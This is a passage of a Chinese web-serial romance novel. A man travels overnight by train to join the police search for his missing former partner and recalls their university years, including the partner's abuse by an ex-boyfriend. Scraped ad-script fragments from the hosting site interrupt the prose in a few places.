“哎,卅哥,你把我当什么了,这点常识我还是有的,”童宽念叨着,“就一商场活动的小程序,下周要上线的,暂时也没影响,我才停的服务器。” 哦……心里有数,手里也有分寸,挺好的。 “他把钱给我,我再重启部署一下,很快的,就看他愿不愿意了。” 陈艾卅点了点头,伸了一只手对着童宽勾了勾,童宽有点不解,陈艾卅从两腿间拉了拉椅子,往童宽那靠了靠,拽了他一条胳膊过来,童宽还是瘦,精瘦的胳膊,很白,也看不出什么汗毛,把他的手掌向上一翻,露出了内侧的胳膊,有个很明显的红印。 “还伤着哪里了?” 童宽快速眨着眼睛,嘴微微张开了,似乎有些震惊,接着他就慢慢地把另一只手拿了过来,也和这只一样向上翻着,摊给了陈艾卅看,又是红红的指印,有几个地方明显是指甲掐进去的,都快渗出了血珠。 “怎么不跑?”陈艾卅盯着童宽看,“好汉不吃眼前亏。” “……我以为他不会,这么粗鲁的。”童宽到底还是泄气了,话里还带着犹豫,“他,呃,是我以前男朋友。” 陈艾卅一下子就把手松开了,然后收了回去。听说童宽喜欢男的和他在自己面前直接承认他喜欢男的,是两种完全不一样的感觉,后者实在是太有冲击力了,陈艾卅一下不知道该做什么反应。 “对不起啊,卅哥,”童宽的声音突然慌乱了起来,“没提前给你打招呼,吓到你了。” 陈艾卅摇了摇头,下意识地说了句,“没有没有。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”但下一句话不知道该接什么。 男的和男的要怎么接吻? 这是当时陈艾卅脑袋里冒出的第一个问题,也是嘴对嘴吗? 下一刻他就想给自己一拳,不嘴对嘴难道胸贴胸吗。 两人还是在16号楼楼下分开的,从食堂到宿舍一路也都没什么话,童宽特意与他保持了一定的距离,虽然是并排,中间再塞一个半人没什么问题,回到16号楼的陈艾卅还是回过了头在那扇窗后看童宽慢慢走过去,但今天的他好像都没提起来什么劲儿,连虎牙都没见几次。 陈艾卅到底还是错过了那场面试,HR打电话来责怪他没信用的时候,他心里几乎没什么波澜,而是童宽两个胳膊上的红痕一直让他放心不下,他咽了口唾沫,打开了外卖软件,找了个跌打酒下单了,他也不知道好不好用,就知道电影里是这么演的。 叫童宽下来之前,他还有些犹豫要不要送上楼,可太奇怪了,他还是给童宽发了微信。 没两分钟,童宽就到了他面前,只不过这会儿他穿着白背心和黑色的五分休闲裤,还有拖鞋。 红痕……不仅仅只有手上有,还有胸口、肩头上,陈艾卅推着他转了个圈,背上也有,他忍不住眯起了眼睛。 “都是他弄的?”问出口的时候,陈艾卅有些难以置信。 童宽点了点头。 “你们不是在食堂门口遇到的吧。” 童宽有些犹豫,还是说了,“他……把我揪到了厕所里。” “打你?” “嗯……我,推着搡着才把他撵到的食堂门口。” 陈艾卅这会儿才看到童宽眼睛里有些不一样的东西,他都不想把这个称作眼泪,他觉得这是童宽所承受的痛。 “人一多,他应该就不敢打我了。”童宽又说。 “真幸运,遇见了你,”童宽对着陈艾卅笑了,又露出了那颗虎牙,“谢谢你救我,卅哥。” 陈艾卅把跌打酒的外卖袋子放到童宽手里的时候,什么都没说,顿着拍了拍已经到童宽手里的外卖袋,就转身走回了16号楼,嗓子特别紧,他不知道该说什么,他希望他在那群围观的人群里听到的话,童宽没有听到,他庆幸今天起了点八卦的心,但总觉得,还是救晚了。 “哎哎,小伙子,醒醒,火车站到了。”司机回过头和自己说话,陈艾卅晃了晃头,他用力吸了一口气,双手搓了搓脸,拿着手机扫了司机的二维码。 已经晚上了,自己一路马不停蹄才到了火车站,路上的梦一个接一个,每回忆起一件事,他就更痛一分。 一股冷风吹了过来,陈艾卅紧了紧外套,手机响了,他赶紧接了起来。 “陈先生,有个消息和你同步一下。”当地派出所的警察顿了顿。 陈艾卅简直要疯了,有什么就说啊,大喘气折磨谁呢,难道……他不敢想。 “请说。” “我们找到了童先生身上衣物撕成的布条,挂在矮树杈上。他还活着的可能性很大。” ……矮树杈上挂布条来识路,这是自己教他的,陈艾卅怎么会不知道。 这滴泪是什么时候酝上来的,陈艾卅不清楚,感知到的时候已经流了下来。 “警察同志,请务必全力帮忙搜救,万分、万分感谢。” “我们会的。” 刚刚还觉得有些疲劳的,陈艾卅这会跟打了鸡血似的,晚上已经没有到达那里的动车了,只有T字头的特快车能在6小时内能到,好像还能省去一段汽车的时间,他赶紧到售票口买了票,回过头撞到了个老大爷。 “不好意思不好意思,赶时间。” 没想到老大爷非但没责怪他,反而对他说了一句“小伙子,别太拼啊,眼睛这么红”。 陈艾卅又点了点头谢过了他,心里却是一阵感慨。 如果当年围观童宽的人有至少一个会尽早站出来,不知道他会不会心里好过一点。 5. 白痕 特快车只剩硬座了,陈艾卅上车的时候遇到很多身上背着麻布袋上车的人,他一路挤过来,找到了自己的座位,刚把行李箱往上放好,对面座位是一对年轻的情侣,男孩儿帮女孩儿把行李箱放到行李架上后,男孩儿坐回了座位,女孩儿小声说的一句“你好厉害”被陈艾卅听见了,男孩儿好像看到有人在看他们,对着陈艾卅笑了笑,陈艾卅也点了点头回笑了一下。 途中陈艾卅想解手,拜托对面的两位帮忙看一下行李,男孩儿点了点头,他起身和旁边靠走廊的那位乘客说了句抱歉,那个人好像刚睡醒,头抬起来还有点懵,陈艾卅又说了声不好意思,那人才反应过来,站起来让了地方。 特快车的洗手间并不干净,味道还很重,陈艾卅是一个呕吐神经很发达的人,无论是刺激的味道、还是不干净的东西,他都会条件反射呕一下,所以一直以来家里的厨余垃圾和卫生间基本都是童宽在处理,还有洗完澡后的地漏,虽然两个人都是短发,还是会有细碎的头发掉在里面,每次基本都是陈艾卅先洗澡,童宽洗后会光着身子蹲在地上拿纸巾去清理,有一次陈艾卅问他,不会觉得黏糊糊的很恶心吗,童宽说这算啥呀,在孤儿院里的时候要干的活儿更多呢,也有大孩子会欺负小孩子,最累最脏的活儿都是小孩儿干,陈艾卅都没忍心继续问下去,他知道童宽就是那个小孩。 回到座位上的时候,对面的女孩儿已经靠在男孩儿肩上睡着了,陈艾卅看到了小情侣挂着同一个有线耳机,他们听的应该是同一首歌。 车窗外应该已经到了城市边际,灯越来越少,地上应该是田,还有零星房子的剪影,他深呼吸了一口,刚刚在出租车上的梦,让他在此刻不敢闭眼,即使收到了童宽还可能活着的消息,但只要还不确定,陈艾卅的心就放不下来,他忍不住去想,在这样长、这样黑的夜里,他要怎么活下来,会不会受伤,有没有野兽,想着想着,之前梦里童宽的伤好像又浮现到了自己眼前,遮不住的红痕,他都后悔自己当时怎么没有直接把跌打酒给童宽抹了,直到今天陈艾卅才反应过来,童宽是被揪到厕所去的,如果还能被他一路从6楼推搡到1楼的话……应该这一路,都未曾有人伸出过援手。陈艾卅的后牙槽忍不住咬紧了,他恨不得再把那个男的找出来,往死里打一顿。 跌打酒后再与童宽说上话,已经过去约莫一周了,还是在教育超市里。 陈艾卅一个研三的人,每天跟无所事事似的,总会下意识地往教育超市那拐,透过玻璃门看一眼收银是不是童宽,有的时候即使是他,陈艾卅也不一定会走进去,玻璃上映着门口的那棵大梧桐树,黄黄绿绿的大叶片,风吹过就会在玻璃上展出一幅动态的画,童宽就穿着个小黄马在里头摆弄物品收银,有的时候看到他会和买东西的同学说上两句,没人的时候就偷偷在桌子底下翻手机。 直到那天陈艾卅又一次“不经意”路过教育超市的时候,手机震了一下,竟然是童宽给自己发的消息。 “卅哥,最近超市里薄荷糖两件七折。” 陈艾卅抬头往童宽站的方向看了看,玻璃上还是泛着树影的斑驳,明暗的后面,是童宽的笑脸,好像在对陈艾卅说“卅哥,又抓到你了”。实际上,陈艾卅进了超市后,童宽什么都没说,只是表现出来的惊讶不太惊讶。 “卅哥,好巧啊,你就在附近吗?” 陈艾卅先是心里笑了一下,他早该想到的,每次路过教育超市自己从外往里看的是光影后的童宽,而童宽如果是在室内的话,应该看外面更清楚,这小子这会儿还在装巧遇,陈艾卅倒也不提,就看他演。 “挺巧的,”陈艾卅顺手拿起了收银柜外侧货柜上的的薄荷糖,“是这款打折吗?” “嗯嗯,要买吗?” “行,打折么,不买亏了。” “滴”的一声过后,童宽手里拿着两条薄荷糖,作势要递给他,可陈艾卅的反应太慢了,慢到童宽都把手里的两条薄荷糖放到了桌上,又把两只手背到了后面,他才反应过来童宽这么做的原因。 童宽在担心,陈艾卅怕他是同性恋。 同性恋传染吗?这小子在担心什么呢。 拿了过了两条薄荷糖后,陈艾卅问了句,“伤好了吗?” “好多了卅哥,”童宽点了点头,“跌打酒谢谢。” 其实是想说,给我看看的,他或许只是想验证一下,跌打酒是不是真的有效,但陈艾卅没说出口。他也点了点头,接着就不知道要做什么了,他不想走,但也没有留下的理由。 “那个……”童宽倒是开了口,“卅哥,上次你说的那个种树活动,我能报名吗?” 啊,还有这个,还有这个没说,陈艾卅好像也抓到了一个可以不用立刻走的由头。 “可以的,”他停了一秒,又说道,“特困生可以报销一半的。”陈艾卅本来想说可以全报,但好像太假了,童宽一定会知道。 童宽的眼睛亮了起来,又露出了那颗虎牙,“真的吗卅哥?太好了!你们外联部待遇真好啊。” 他一笑,陈艾卅心里也跟着高兴了起来,好像刚刚在门口被人抓住的尴尬就这么被抹掉了。“也没见你参加什么学生会和社团的啊?本科是本校的吗?” “是本校的,”童宽不好意思地挠了挠头,“平时没时间,勤工俭学是一定要做的,不然特困生和助学贷款都不太好申请。” “我以为你做这个真的是挣生活费呢。” “生活费的话省着点花是够,”童宽抿着嘴笑了笑,“就是我也有想自己做的事情。” “噢……”陈艾卅不喜欢随便打听,就没继续问下去,“上次的事情解决了吗?” “解决了,”童宽笑了笑,“卡着上线呢,肯定能解决。” 陈艾卅眉毛抬了抬,心里想着这小子有点东西,思路清楚下手还挺准。 “钱收到了?” “一分不少。” “可以啊。” “我请你吃饭吧,庆祝一下”童宽突然说,“可以吗,卅哥?” 不知道为什么,与其说这会儿没法拒绝童宽,不如说陈艾卅不想拒绝他,刚刚放在桌子上的那两条薄荷糖,他没有接过来,他不想再让童宽误会自己怕他。 “好啊,你什么时候结束?” 童宽看了一眼墙上的挂钟,“那姑娘应该半小时后来,你要先回宿舍吗?我一会叫你?” “不用,没事,有地方坐吗?”陈艾卅的三个室友里,有两个早早就回家准备考公了,还有个准备出国,都说等着答辩的时候再来,他回去也是一个人。 这下童宽就拧紧了眉毛,“仓……仓库可以吗?”想了想他又换了个说法,“要不你就,坐收银台旁边?” 陈艾卅笑了出来,“放学后被老师留下来的同学啊?” 童宽也笑了,“说什么呢卅哥,那也得你是我老师啊。” 到底童宽也没让他去坐仓库里,没空调不说,整个空间还十分闭塞,童宽从仓库里拿了那把折叠椅过来,放到了收银台的另一边,童宽把桌子上的一些杂物往旁边挪了一些,空出来一块地方,陈艾卅发现,童宽知道自己背着电脑呢。 “嗯,我正好把简历修改下。” “找工作麻烦吗,卅哥?” “不麻烦,找好工作麻烦。” 童宽点了点头,没再说话。 下午这个点来超市的人不多,不在收银台的时候,童宽就会去理货,陈艾卅在电脑后面一个字也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没动,就看着他在货架间来来回回地走,时不时拖出一个纸板箱,往货架上放一些东西,又把纸板箱拖回仓库,来来回回了这么好几次,陈艾卅已经看到童宽额间出了些汗。 童宽的神色突然痛苦了起来,捂着脑袋弯了弯腰,眉头紧锁着好像很疼,陈艾卅起身走了过去,童宽却立刻想搬箱子回仓库,见状陈艾卅一下把住了童宽的胳膊,他在童宽的眼睛里看到了恳求。 别问,卅哥。 童宽仿佛在说这句话。 陈艾卅不知道为什么突然起了一股无名火,把着童宽胳膊的那只手没放,反而捏得更紧了,想把童宽的手从他的脑袋上拿下来,他遭到了阻力,童宽不想给他看。 “童宽,放手。”这是陈艾卅第一次连名带姓地叫他。 童宽明显地咽了下唾沫,细巧的喉结上下滚动了一下,盯着陈艾卅的眼睛几乎已经带上了哀求,他不想放。 “让我看看。”这句话陈艾卅说得很轻。 憋着的一股气泄了,童宽的手也松了,陈艾卅握在手里觉得软绵绵的。 一个在左侧的,近乎有一厘米的口子,结着厚厚的血痂,颜色还有些鲜艳,明显就是这两天的事。 陈艾卅的手忍不住捏紧了,直到童宽喊了声“疼”,才反应过来是自己捏痛了他。 但陈艾卅没说对不起。他只有愤怒。 “他哪个专业的?叫什么名字?”陈艾卅甚至都没确认是不是那个人弄的,就想立刻把人找出来。 “算了,卅哥……”童宽说,“不折腾了。” “钱给你了就可以算了?伤呢?伤怎么办?” “我让他赔了医药费的。”童宽小声说。 陈艾卅都不知道自己今天怎么能生这么大的气,童宽这句话直接把他点着了,“赔了医药费,伤你这事就算了?反正伤会好?你也不亏?你到底怎么想的?” 童宽又嘶地疼了一下,陈艾卅才把手放开,应该是汗水碰到了伤口才会惹他疼的吧。 陈艾卅也不想等他回答了,“去过医务室没有?” “这小伤,不用去。”童宽对他讨好地笑了笑。 “口子挺深的,等你这完事了,我们去医务室。” “不吃饭了啊?” “去完了再吃。” 陈艾卅的口气一定不太好,说完了后童宽就点了点头,也没说话。后来这天剩下的货架都是陈艾卅帮着童宽整理的,真重啊,这些箱子,他细胳膊细腿儿的,能受得了吗?陈艾卅到底还是热得把短袖的袖口卷了上去,露出了肌肉线条流畅的整个手臂,他记得那天童宽问自己是怎么保持锻炼的,陈艾卅就模糊地回答了一句喜欢爬山,平时在校游泳多一些,童宽说得空他也得锻炼锻炼,最后一句说的是不至于被揍的时候连还一下手都做不到,陈艾卅心里的气突然就消了,换上了一些莫名其妙的心疼。 火车好像又驶近了一座小城,车窗外的灯光又多了起来,陈艾卅叹了一口气,从包里拿了瓶水,拧瓶盖的时候,握着瓶身的那只手突然使大劲了,瓶口的水溢了些出来,他又想到了在校医务室处理童宽脑袋上那个伤口的时候,校医用消过毒的小镊子把他的血痂整个都掀了起来,童宽疼得抓紧了桌沿,指甲都泛白了,可他连哼都没哼一声,生理盐水冲洗和酒精消毒的时候,童宽的脸都皱了起来,整个下巴都在抖,陈艾卅在一边也捏紧了拳头。 后来每每他们拥抱或者接吻,陈艾卅都会吻过童宽的这道疤,好像在用自己的唇安抚那时候童宽的痛,可那道疤上再也没长出过头发,成了一条泛着白的印记,永远留在了童宽的脑袋上。 童宽啊,现在这道疤不疼了吧。 可我只要想起这些,心里还是疼。 6. 小狗 和童宽一起吃完了饭后,陈艾卅想到自己宿舍的水快没了,就说要去教育超市里买一桶,童宽的表情有些别扭,似乎不太想回去。 “要不你先回宿舍吧,我买个水再回去。”陈艾卅对童宽说。 童宽纠结了一会儿,还是决定和陈艾卅一起去教育超市,“我就不进去了,在门口等你,卅哥。” “行。” 陈艾卅拎了一桶5升的水到收银台买单,这次收银的是一个戴着眼镜儿的姑娘,瘦瘦高高的,皮肤有点儿黑,陈艾卅买完了水后超市里就没有学生了,这位姑娘也从收银桌后面走了出来,到落地玻前的高脚桌上开始收拾垃圾,有些学生的素质的确不高,面包的透明包装袋、有的是零食包装,甚至还有没吃完的泡面碗,陈艾卅皱了皱眉,没多说什么,就出去了。 没想到刚出门,那姑娘就追了出来,陈艾卅心里还犯嘀咕呢,这不是扫码的么,也没有找零啊,难道是自己掉东西了,没想到那女生不是冲着自己,而是对着童宽说了句,“宽哥,你怎么不进来啊,校管说仓库要清了,你桌子椅子要提前收走吗?” 原来童宽表情别扭的原因在这。 “啊,收的,”童宽似乎此时不知道该摆什么表情好,“我先回趟宿舍,一会儿就过来拿。” “行,那我先帮你收拾出来。” “谢谢啊。” “不客气的。”她看了看陈艾卅,又问了一句,“宽哥,这是你朋友吗?” 童宽皱了皱眉,应该是怕陈艾卅误会话里有别的意思,“不是。” “怎么就不是了?”陈艾卅没忍住,转过头朝着童宽问了一句。 童宽一脸想解释的表情,倒是这个小姑娘,整张脸都写着开心,直接忽略了陈艾卅在旁边的事实,直接对着童宽大声说了句,“宽哥!他行!他好帅!” “不是不是不是,你误会了林琦。”童宽话语里都多了些着急,语速都加快了。 陈艾卅这会儿才明白过来,小姑娘以为自己是童宽的男朋友呢,看着童宽一脸欲哭无泪的样,他反而笑了出来,假意问童宽,“不是朋友啊?” “卅哥,你别逗我了,”童宽也笑,就是笑得有点不好意思,“我怕你不舒服。” 不舒服吗?陈艾卅心里倒是没有,反而觉得有点好笑。陈艾卅摇了摇头,“没有。” “卅哥这是林琦,大二,图情专业的。”童宽介绍起来。“这是陈艾卅,研三的学长。” “学长好学长好,”林琦没有看起来那么冷,言语里还挺活泼的,“学长好帅啊。” 陈艾卅笑笑,“你好。” 结束对话之前,林琦又特意问了下童宽什么时候来把东西收走,说校管明天可能就带着师傅来清了,东西还挺多的,怕童宽搬不完,童宽说他回宿舍放一下东西马上就过来,快速喊着陈艾卅就要走。 到了16号楼门口,陈艾卅实在是耐不住心里的好奇,还是开口问了,只不过换了个方式,“仓库里不是有桌椅么,怎么之前还让我坐收银台?” “卅哥长得帅,藏起来可惜了,当门面好。”童宽笑得很开心,虎牙都带了些雀跃的意思。 但可惜,陈艾卅不吃他这一套,“说实话。” 童宽的高兴肉眼可见地慢慢消失了,脸上摆上了一些倔强,带了些自嘲,求饶一般,“卅哥,别问了吧。” “你是不是真不把我当朋友?”陈艾卅又问了一句,“还是你觉得,我问这些对你来说挺冒犯的?”陈艾卅真的想知道,每次问童宽问题,他的顾左右而言他,到底是为什么,是真的不喜欢不被人过问,还是说他认为和自己只能做泛泛之交。 这个问题后,童宽皱着眉没说话,拧巴了很久,拧巴到陈艾卅都觉得空气里的潮湿都已经沾到皮肤上了,16号楼里又出来了些学生,路过他们俩的时候又特意回头看了一眼,然后头凑在一起不知道在说什么。 “是我越界了,抱歉。” 陈艾卅到底还是心软了,自己不应该这么逼问童宽的,终究而言,两个人也只不过是因为一个小意外结识的普通朋友,自己跟家长似的问东问西的反而奇怪,已经撞破了不少童宽尴尬的时刻了,怎么还想着在人心里头划刀子,自己又能为他解决什么呢。 “我先上去了,”见童宽还是没说话,陈艾卅说了句,想了想又补了一句,“有什么要帮忙的随时找我。” 童宽看着自己的眼神像个小土狗一样,嘴巴微张着,表情木木的,点了点头。 陈艾卅转身就上了楼,没有再多停留。 坐在火车上的陈艾卅深深吸了一口气,却缓缓地吐了出来。窗外的景又黑了,他肚子咕地叫了一声,这会才反应过来已经快一天没吃东西了,可邻座的小哥又睡着了,陈艾卅有些不好意思叫醒他,他往包里看了看,什么吃的都没有,就只有一瓶水而已,陈艾卅拧开了瓶盖,又灌了些进去,似乎想通过水来冲淡胃酸分泌的刺激。 过了一小会儿,不知道谁打了一个震天响的呼噜,把邻座的小哥吵醒了,陈艾卅觉得还挺幸运,赶紧和人打了招呼,这次他没有把深蓝色的包留在位置上,而是带在了身边。 陈艾卅走过了两节车厢,车厢连接处也跨过了不少又大又沉的编织袋,有的编织袋上还坐着人,就这么靠在铁皮墙上睡着,有些人的脸灰突突的,有几个人好像还在梦里,他看见有一个人的眼角湿了,鼻翼一张一翕的,他不知道做这个人究竟是梦里难受了,还是假装自己没醒。 餐车里有着热过盖饭的味道,一点也不好闻,但这会儿陈艾卅的呕吐神经好像消失了一样,就只剩下了饿,他还是没要那餐盒里只有几片肉的小炒肉盖饭,买了碗泡面要了根火腿肠,又拿了个真空包装的卤鸡腿,让餐车的工作人员帮忙倒了热水后,环顾看了下餐车,这里大多数人都是买的站票来坐位置的。 以前的他还会说怎么这样啊,座儿都给占了那吃饭的人怎么办,直到有一次童宽跟他说,他本科刚入学那会儿,从老家过来的时候,身上就只有不到一千块,光站票也要小三百了,实在不敢买带座的,就只好硬着头皮往餐车那挤,他说的时候特别得意,说自己还好身形小,一下就钻到了前面,占了个先机,抢到了一个角落的位置。 刚坐下的时候没什么,就是接近饭点了,就会有不同车厢的人到餐车这来买饭,有些人特别看不得这些无座票抢餐车的,就会嚷嚷着不买吃的怎么还占着座儿,童宽说他那会儿什么都不懂,人也胆小,就硬着头皮花了45 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 买了一份盖饭,吃的时候连汁都舔干净了,说就因为这份饭,他又破了一张大票子,心疼极了。后来到底还是憋不住要上厕所,回来的时候位置已经被别人坐了,他就只好和那些无座票的人一样,走到车厢的连接处席地而坐,陈艾卅记得问过他怎么不拿包垫在屁股下面,童宽说那时候书包是院里的阿姨送他的,他从来没用过这么好的书包,裤子脏了还能洗,包脏了他都不知道该怎么处理。 “卅哥——” 耳朵里突然传来一声这个,陈艾卅立刻抬起了头寻声过去。 “沙哥,这里这里。”一个看起来刚二十出头的男的冲着自己这里挥了挥手。 这个叫沙哥的男的看起来比那二十出头的要大一些,脸上带着笑,朝着挥手的方向喊了一声来了,路过陈艾卅的时候不小心碰到了他一下,沙哥对自己说了声不好意思,但脚步却没有慢下来,还是一直往前走着,陈艾卅就这么看着他俩接上头,那个年轻的男的往里挤了挤,把自己的位置缩得很小,但对着来人笑得很开心,一直到两个人都坐到了餐桌边,那个年轻些的男的从包里拿出了个保鲜袋递给了另外一个,两个人不知道在交谈什么,虽然只是猜测,但陈艾卅觉得这两人的关系一定很亲密。 “先生,先生?”餐车服务员叫了叫自己。 陈艾卅回过了神,“啊,不好意思。” “面已经泡了快十分钟了,您拿走了赶紧吃吧。” “好的好的,谢谢。”陈艾卅见列车服务员的眼神里还有些犹豫,似乎还有些话没说完,“还有什么事吗?” “左边那,有个空位,您可以坐在那用餐。” 谢过了列车服务员后,陈艾卅先是端着面碗到了那个空着的座位上,又回到柜台上拿了刚买的火腿肠和卤鸡腿,拆开真空包装的那一瞬间,卤鸡腿的香气溢了过来,他把卤鸡腿往面碗里一放,又拧开了火腿肠,掰成了两截也放进了面碗里,叉子上下搅动着面,开水的热气从面里升腾起来,铺在脸上有些热热潮潮的。 “卅哥,这样吃的话,泡面里的汤就会有鲜鲜的卤味。” “火腿肠一定要泡啊!热的火腿肠才好吃。” “我这都是经验好吧,实践了无数次才有的好味道。” “怎么样怎么样?好吃吗?” “我就说吧,肯定好吃,等鸡腿泡软了,就更香了。” “哎,你怎么能一整根放进去,看我,哎对,掰成两截。” “卅哥你……吃你自己碗里的,唔、你怎么抢我嘴里……唔……” 陈艾卅想着想着就笑了,笑着笑着就有点想哭。 嘴里泡面的鲜味都成了苦味,明明只是普通塑封的、连碎骨都没有的卤鸡腿,怎么嚼着就像一颗小碎石子,在上下牙床之间来回颠倒,小石子的棱角剐蹭着口腔黏膜,明明没有出血陈艾卅好像还是尝到了腥甜味。 他咬紧牙关,努力做到不让嘴角往下瘪,可鼻尖涌上的热意无法遮掩,陈艾卅撑开虎口盖到了自己的眼睛上,后悔、着急、无力,这些带有激烈属性的情绪,撕扯着他的心。 到底是自己把童宽弄丢了。 都是我的错。 老天爷,责罚我。 不要为难他。 7. 避难 “喂,妈。”吃完了面的陈艾卅接到了他妈打来的电话。 “小卅,你在哪儿呢,怎么听着有轰隆轰隆的声音?” “在火车上呢,出差。” “哦哦,又出差啊,”他妈妈的话里透出了些心疼,“去几天啊?” “有什么事么,妈?”陈艾卅没有直接回答,倒是反问了一句。 “没什么事,就是你挺久没回来了,想着见见你。” “啊,出差后我就回来,妈,你和爸都注意身体,天转凉了都。” “好,知道了,”陈妈妈的声音听着很柔和,“你和小宽也是,两人别太拼了,身体最重要,知道吗?” “嗯,知道了,谢谢妈。”陈艾卅收着气儿应着。 “哎哎,那挂了,回来前给我打电话啊。” 电话结束了,陈艾卅没有立刻回到自己的车厢,他背着童宽的深蓝色书包,走到了车厢与车厢的连接处,这里的玻璃比车座那边的玻璃更大些,站在边上可以看到地上,可这会儿太黑了,除了远处零星的灯,他什么都看不清。 和童宽分手的事,陈艾卅一直没和父母提,父母花了很长时间来接受自己找了个男的,当时的大胆和冲突还都历历在目,如果真要提的话,他都不知道是提和童宽分手了这件事,还是童宽失踪了的这件事。 陈艾卅的心里乱极了,一股巨大的恐慌爬了上来,外面的天是黑的,地上连个光都没映出来,这事都不知道该跟谁说。他还是给当地的警察局打了个电话,好像他们离童宽近一点,说上几句就好像自己快到了一样。 警察还是告诉自己没消息,现在找到的衣服布条只有两条,位置还是很难判断,仍在搜救中,他都不敢问这个搜救会持续多久,会不会因为太久没有消息导致搜救叫停,只是一个劲地在感谢和拜托。 一条微信跳了出来,是好久没联系的林琦。 “学长,冒昧联系唐突了,想了很久还是来找了您,宽哥失踪了,我不知道该怎么办。” 林琦没读研,本科毕业后就直接去上了班,图情的就业选择还是比较宽阔的,但后来童宽出来创业,需要一个得力的助理,就问了林琦,恰巧她那会儿工作不顺心,辞了就到童宽的公司上班去了,林琦这小姑娘虽然心大,但做事很细致,帮了不少童宽的忙,而且对童宽也了解,更知道陈艾卅和童宽的关系,公私事务上都得到了她不少的帮助。 陈艾卅想了想,还是给林琦打了个电话过去。 “学长,”林琦的话语里有些犹豫,先说了声抱歉,“不好意思,打扰了。” “没有,童宽的事情我已经知道了。”陈艾卅如实说。 “我不知道再跟您说这件事合不合适,但我真的不知道还能和谁说了。”林琦话里有些哽咽,“宽哥他就一个人。” 陈艾卅的喉结上下滚动了一下,他有些难以承载林琦现在的情绪。 “学长,宽哥……宽哥他是想不开吗?” “……不会的,”陈艾卅说得很坚定,“他不是这样的人,应该是意外。” 陈艾卅也在安慰自己,童宽什么糟心场面没见过,创业失败又算什么。可另一个声音又在提醒他,童宽真的不会绝望吗?事业没了、爱人也没了,还有几百万的经营贷没还……一座座山压下来,童宽真的能受得住吗。 “学长,你们怎么就分手了呀。”林琦到底声音还是带上了哭腔。 这一句责怪是他该的,陈艾卅深深叹了口气。 “对不起,我不该这么说的,”林琦吸了吸鼻子,“公司解散那天,宽哥看起来没什么两样,就说自己想出去透透气。” 陈艾卅他有点害怕听到那空白的大半年童宽是怎么度过的,到底还是说了,“我正在去找他的路上。” “真的吗学长?”林琦听起来如蒙大赦,“你去找宽哥了吗!” “嗯,有点远,傍晚刚下的飞机,现在在火车上。” “有什么我能做的吗?需不需要帮忙?” “我先……找到他吧。” “好好好,您去找他我就放一半心了,”林琦甚至还安慰了一下陈艾卅,“学长去的话,一定能找到宽哥的。” 挂了电话后,陈艾卅长吁了一口气,一定能找到童宽的,他反复和自己说着。 回到座位后,陈艾卅闭上了眼睛,刚刚眼里的酸涩已经被压下去了,他这会儿什么都不想看,这里没有童宽,只有闭上眼睛的时候,才能看到他。 那天晚上陈艾卅本来躺在床上看美剧,正什么都没看进去呢,手机上跳出来了条微信,是童宽给自己发的。 “卅哥,现在方便吗,能帮我拿点东西吗?” 脑子里还没想具体要做点什么,手上就直接回了过去,“方便,你在哪里?” “超市,仓库。” 没多想,陈艾卅穿上袜子换上了运动鞋就下了楼,走得太快手机还忘带了,又爬回了六楼取了手机,才匆匆忙忙到教育超市那。已经过了9点了,教育超市已经关门了,他给童宽发了个消息说自己到了,不过一会儿,童宽就从教育超市的侧边出来了。 梧桐树下的路灯很暗,又被树叶遮去了大片光,童宽瘦瘦的,站在那里对陈艾卅招手。 他还是看到童宽对他笑了,“卅哥,这里。” 陈艾卅走了过去,原来是教育超市的边门,还是个防盗门。 “这个门是进货时候用的,平时不开,直通仓库。”童宽边说边往里走,“小心,地上有些硬纸板箱,别绊倒了。” 跟着童宽一直往里走,房间的最里面有一盏台灯,只照亮了一个角落,这个角落里有一张看起来只有60厘米宽的桌子,还有张折叠椅,桌子上放着的是童宽深蓝色的书包,地上还有个长长的接线板。 “你在……这里做作业?”陈艾卅有些难以置信,为什么不在宿舍里,或者图书馆里。 童宽笑了笑,看起来很轻松,“不是,在这里挣钱呢。” “挣钱?” “嗯,码代码啊。怕吵着室友,而且我弄得晚,也影响他们休息。”童宽挠了挠头。 陈艾卅的视线又挪到了旁边,有一张折叠的小床,旁边放了个板凳。 “我……我跟校管打过招呼的,他知道我在这里弄东西。”童宽在竭力解释着什么。 “会弄到很晚吗?”陈艾卅问得很轻。 “急活儿的话,赶进度没办法,上线时间卡得死。” 陈艾卅点了点头,看着童宽的眼睛又说了一句,“仓库里没有空调,风扇也没有。” “晚上没那么热,风扇已经还给校管了,没风扇还了得,笔记本能烧起来。”童宽一下子笑了出来,可陈艾卅一点都高兴不起来。 “你和你室友关系不好吗?”这个问题陈艾卅早就想问了。 童宽扯了个笑点了点头,也早就做好了回答陈艾卅的准备,“他们不太和我说话。” “因为你喜欢男生?” “也不完全是吧,”童宽说得很轻,但陈艾卅却觉得每个字都很疼,“成绩没我好,外快没我多,可能也怕我喜欢他们?” 最后这一句陈艾卅简直有些嗤之以鼻,喜欢他们?他们配吗。 “上次你男……以前男朋友对你动手的时候,没人阻止吗?”有些细节,藏在心里,就忍不住想要去弄明白。 “啊,这个,能理解,情感纠纷么,谁也不想掺和一脚。” “可他打你。” “他是体育生,挺壮的,也怕误伤吧。” “你喜欢壮的?”陈艾卅问得没头没尾。 童宽盯着陈艾卅的眼睛,不说话了。 陈艾卅也觉得自己突兀了,赶紧前后走了两步,“要拿些什么?” “椅子,卅哥椅子你帮我拿一下吧。”前后这几个大件儿,童宽就说了张椅子。 他这是特意把自己叫下来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,给自己解释清楚“别问”的仓库到底藏着什么秘密。 原来,仓库是童宽的安全屋。 陈艾卅把椅子折了起来,靠墙放着,又把折叠床折了起来,“这些东西,你打算放哪?” “宿管那吧,宿舍里肯定不能放。” “你们宿舍几个人?” 童宽没回答,倒是对着陈艾卅笑了下。 “哦,四个。”陈艾卅眨了眨眼睛,“你跟宿管打过招呼没?” 童宽摇了摇头,“肯定不让我放,但我想先放到1楼那边,到时候再求阿姨一下,应该能行吧?” “那你以后码代码怎么办?” 